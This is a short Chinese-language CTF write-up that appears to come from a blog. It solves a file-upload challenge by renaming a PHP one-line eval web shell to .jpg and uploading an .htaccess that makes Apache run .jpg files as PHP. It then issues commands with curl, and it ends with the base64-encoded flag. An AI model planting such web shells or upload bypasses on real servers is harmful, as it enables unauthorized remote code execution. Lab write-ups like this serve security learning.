
這題是很經典得一行木馬,這邊不細講一行木馬等我寫到那題ez題的writeup再做討論,這邊只要知道它長這樣就好:<?php @eval($_POST['cmd']);?>
阿記得把這個程式副檔名存成jpg因為上傳時會檢查副檔名
這題我的流程是這樣
看網址知道後端是php->做一行木->馬shell.php上傳->上傳被檔->副檔名改成.jpg->curl不到->問gemini->要多上傳一個.htaccess才能讓伺服器將.jpg當php執行->get the flag
tips:在arch linux檔案總管頁面按ctrl + H可以達到將.開頭檔案顯示出來
這邊講.htaccess(先說我也是寫這題才知道的要深入還是建議去看專業文章或官方文件):
.htaccess只能發生效果在Apache Web Server 如果靶機是放在Nginx或LiteSpeed這種不同的網頁伺服器上那 .htaccess檔案是完全沒有作用的!
官方文件:https://httpd.apache.org/docs/current/howto/htaccess.html
->.htaccess files provide a way to make configuration changes on a per-directory basis, without modifying the main server configuration files directly.
所以我們只要在上傳得資料夾先上傳一個.htaccess讓這個子資料夾裡面出現變動
作法如下->
將AddType application/x-httpd-php .jpg
存成.htaccess檔在上傳這樣你後面上傳的shell.jpg就會被當成php執行了
木馬上傳成功後在terminal執行curl -X POST -d "cmd=system('ls -la');" http://xebec.cylabacademy.net:<port>/images/shell.jpg
...
後面我不想打了大家自己看圖說故事吧
base64後的flag:YWNhZGVteXtzM3J2M3JfYnlwNHNzX2RjZDZlNjNlfQ==
ps:這篇寫得有點亂是我自己思路不夠清晰還請見諒
下方歡迎"友善"留言討論0.0